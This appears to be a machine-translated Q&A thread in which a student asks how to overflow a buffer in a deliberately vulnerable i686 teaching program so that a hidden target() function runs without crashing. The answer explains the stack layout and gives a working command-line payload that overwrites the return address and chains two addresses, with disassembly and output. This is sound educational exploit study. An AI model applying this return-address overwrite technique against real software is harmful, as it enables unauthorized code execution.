2016-03-30 11 views
12

Für meine Studien ich versuche, eine Nutzlast zu schaffen, so dass sie den Puffer überläuft und ruft eine „geheime“ Funktion „Ziel“Exploit einen Pufferüberlauf

Dies ist der Code, den ich auf einem i686 zum Testen verwenden

Aufgabe 1: Erstellen Sie eine Nutzlast, damit target() aufgerufen wird. Dies war ziemlich einfach zu tun, indem der EIP durch die Adresse der Zielfunktion ersetzt wurde. Diese

ist, wie der Puffer sieht

Buffer 
(gdb) x/8x buffer 
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532 
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca 

Payload ich verwendet wurde:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08' 

Dies funktioniert gut, aber stoppt mit einem Segmentation Fault.

Aufgabe 2: die Nutzlast in einer Art und Weise ändern, dass es nicht einen Segmentation Fault

stecken Dies ist, wo ich bin nicht geben. Offensichtlich verursacht es einen Segmentierungsfehler, weil wir das Ziel nicht mit der Aufrufanweisung aufrufen, und daher gibt es keine gültige Rücksprungadresse.

Ich habe versucht, die Rücksprungadresse auf dem Stack hinzufügen, aber das half nicht

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08' 

Vielleicht jemand mir mit diesem helfen kann. Wahrscheinlich muss ich auch das gesicherte EBP von main hinzufügen?

Ich lege die objdump des Programms

0804847d <target>: 
804847d: 55      push %ebp 
804847e: 89 e5     mov %esp,%ebp 
8048480: 83 ec 18    sub $0x18,%esp 
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp) 
804848a: e8 c1 fe ff ff   call 8048350 <[email protected]> 
804848f: c9      leave 
8048490: c3      ret  

08048491 <vulnerable>: 
8048491: 55      push %ebp 
8048492: 89 e5     mov %esp,%ebp 
8048494: 83 ec 28    sub $0x28,%esp 
8048497: 8b 45 08    mov 0x8(%ebp),%eax 
804849a: 89 44 24 04    mov %eax,0x4(%esp) 
804849e: 8d 45 e8    lea -0x18(%ebp),%eax 
80484a1: 89 04 24    mov %eax,(%esp) 
80484a4: e8 97 fe ff ff   call 8048340 <[email protected]> 
80484a9: c9      leave 
80484aa: c3      ret  

080484ab <main>: 
80484ab: 55      push %ebp 
80484ac: 89 e5     mov %esp,%ebp 
80484ae: 83 e4 f0    and $0xfffffff0,%esp 
80484b1: 83 ec 10    sub $0x10,%esp 
80484b4: 83 7d 08 02    cmpl $0x2,0x8(%ebp) 
80484b8: 75 12     jne 80484cc <main+0x21> 
80484ba: 8b 45 0c    mov 0xc(%ebp),%eax 
80484bd: 83 c0 04    add $0x4,%eax 
80484c0: 8b 00     mov (%eax),%eax 
80484c2: 89 04 24    mov %eax,(%esp) 
80484c5: e8 c7 ff ff ff   call 8048491 <vulnerable> 
80484ca: eb 0c     jmp 80484d8 <main+0x2d> 
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp) 
80484d3: e8 58 fe ff ff   call 8048330 <[email protected]> 
80484d8: b8 00 00 00 00   mov $0x0,%eax 
80484dd: c9      leave 
80484de: c3      ret  
80484df: 90      nop 
+0

Bitte fügen Sie einen Hinweis hinzu, über welche Architektur wir hier sprechen. Ich nehme x86 an? –

+0

Ah tut mir leid, ja, es ist i686 – Chris

+0

Es ist knifflig .. Ich versuche, ebp intakt zu halten, um den Stapel nicht zu korrumpieren, aber kann nicht atm herausfinden, wie man an den ebp von main so gelangen, dass der Initialisierungscode, der es aufgerufen hat segfault nicht. –

Antwort

1

Sie genügend Daten müssen den reservierten Speicher für den Stack, wo ‚Puffer‘ befindet, dann mehr zu überschreiben Sie den Stack-Frame-Zeiger zu füllen, überschreiben dann die Rückkehr Adresse mit der Adresse target() und dann noch eine Adresse innerhalb target(), aber nicht am Anfang der Funktion - geben Sie es ein, damit der alte Stapelrahmenzeiger nicht auf den Stapel geschoben wird. Das führt dazu, dass Sie das Ziel ausführen, anstatt ordnungsgemäß von vulnerable() zurückzukehren, und führen Sie dann erneut target() aus, damit Sie von target() zu main() zurückkehren und so ohne einen Segmentierungsfehler beenden.

Wenn wir geben verwundbar() zum ersten Mal und sind über Daten setzen in die ‚Puffer‘ Variable der Stapel wie folgt aussieht:

----------- 
| 24-bytes of local storage - 'buffer' lives here 
----------- 
| old stack frame pointer (from main) <-- EBP points here 
----------- 
| old EIP (address in main) 
----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

So an der Startadresse von ‚Puffer‘ wir müssen in 24-Bytes von Junk auf setzen vorbei an dem lokalen Speicher auf dem Stapel reserviert, dann 4-weitere Bytes, um hinter dem alten Stack-Frame-Zeiger auf dem Stapel gespeichert, dann sind wir unter der Stelle, wo die alten EIP wird gespeichert. Das ist der Befehlszeiger, dem die CPU blind folgt. Wir mögen ihn. Er wird uns helfen, dieses Programm zu zerstören.Wir überschreiben Sie den Wert des alten EIP in dem Stapel, die zu einer Adresse zeigt derzeit in main() mit der Startadresse des Ziels(), die über den GDB disassemble Befehl gefunden wird:

(gdb) disas target 
Dump of assembler code for function target: 
    0x08048424 <+0>:  push %ebp 
    0x08048425 <+1>:  mov %esp,%ebp 
    0x08048427 <+3>:  sub $0x18,%esp 
    0x0804842a <+6>:  movl $0x8048554,(%esp) 
    0x08048431 <+13>: call 0x8048354 <[email protected]> 
    0x08048436 <+18>: leave 
    0x08048437 <+19>: ret 
End of assembler dump. 

die Adresse der target() - Funktion ist 0x08048424. Da das System (zumindest für mein System) Little Endian ist, geben wir diese Werte zuerst mit dem LSB ein, also x24, x84, x04 und x08.

Aber das lässt uns mit einem Problem, weil so verletzlich() gibt es alle erscheint die Junk, dass wir von dem Stapel in den Stapel gelegt und wir sind mit einem Stapel links, der so aussieht, als wir sind gerade dabei, Prozess in Ziel() für das erste Mal: ​​

----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

als Ziel() will er die Rücksprungadresse auf der Spitze seines Stapels findet nicht zurück, wie erwartet und wird eine Segmentation fault so hat.

Also wollen wir einen neuen Rückgabewert an die Spitze des Stapels erzwingen, bevor wir die Verarbeitung in target() starten. Aber welchen Wert zu wählen? Wir wollen nicht die EBP schieben, weil es Müll enthält. Merken? Wir haben Müll reingeschoben, als wir 'Puffer' überschrieben haben. Anstatt also schieben das Ziel() Anweisung unmittelbar nach dem

push %ebp

(in diesem Fall Adresse 0x08048425).

Dies bedeutet, dass der Stapel wird wie folgt aussehen, wenn das Ziel() bereit ist zum ersten Mal zurück:

----------- 
| address of mov %esp, %ebp instruction in target() 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

So nach der Rückkehr vom Ziel() das erste Mal, das EIP wird nun Punkt bei der zweiten Anweisung in target(), was bedeutet, dass wir das zweite Mal, wenn wir über target() arbeiten, denselben Stack haben, den main() bei der Verarbeitung hatte. Der obere Teil des Stapels befindet sich am oberen Ende des Stapels für main(). Jetzt sieht der Stapel wie:

----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

Also, wenn das Ziel() gibt das zweite Mal einen guten Stack mit zurückkehren muss, da sie den gleichen Stapel verwendet, die main() verwendet und so das Programm normal beendet.

Also, um es zusammenzufassen, ist das 28 Bytes gefolgt von der Adresse der ersten Anweisung in target() gefolgt von der Adresse der zweiten Anweisung in target().

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08' 
target 
target 
sys1:/usr2/home> 

Und da Sie erfolgreich gehackt nur etwas, an diesem Punkt Sie AAARRRGHHH Yeee Hardys schreien müssen ausgefüllt sein! VORBEREITEN, BEVORZUGT ZU WERDEN!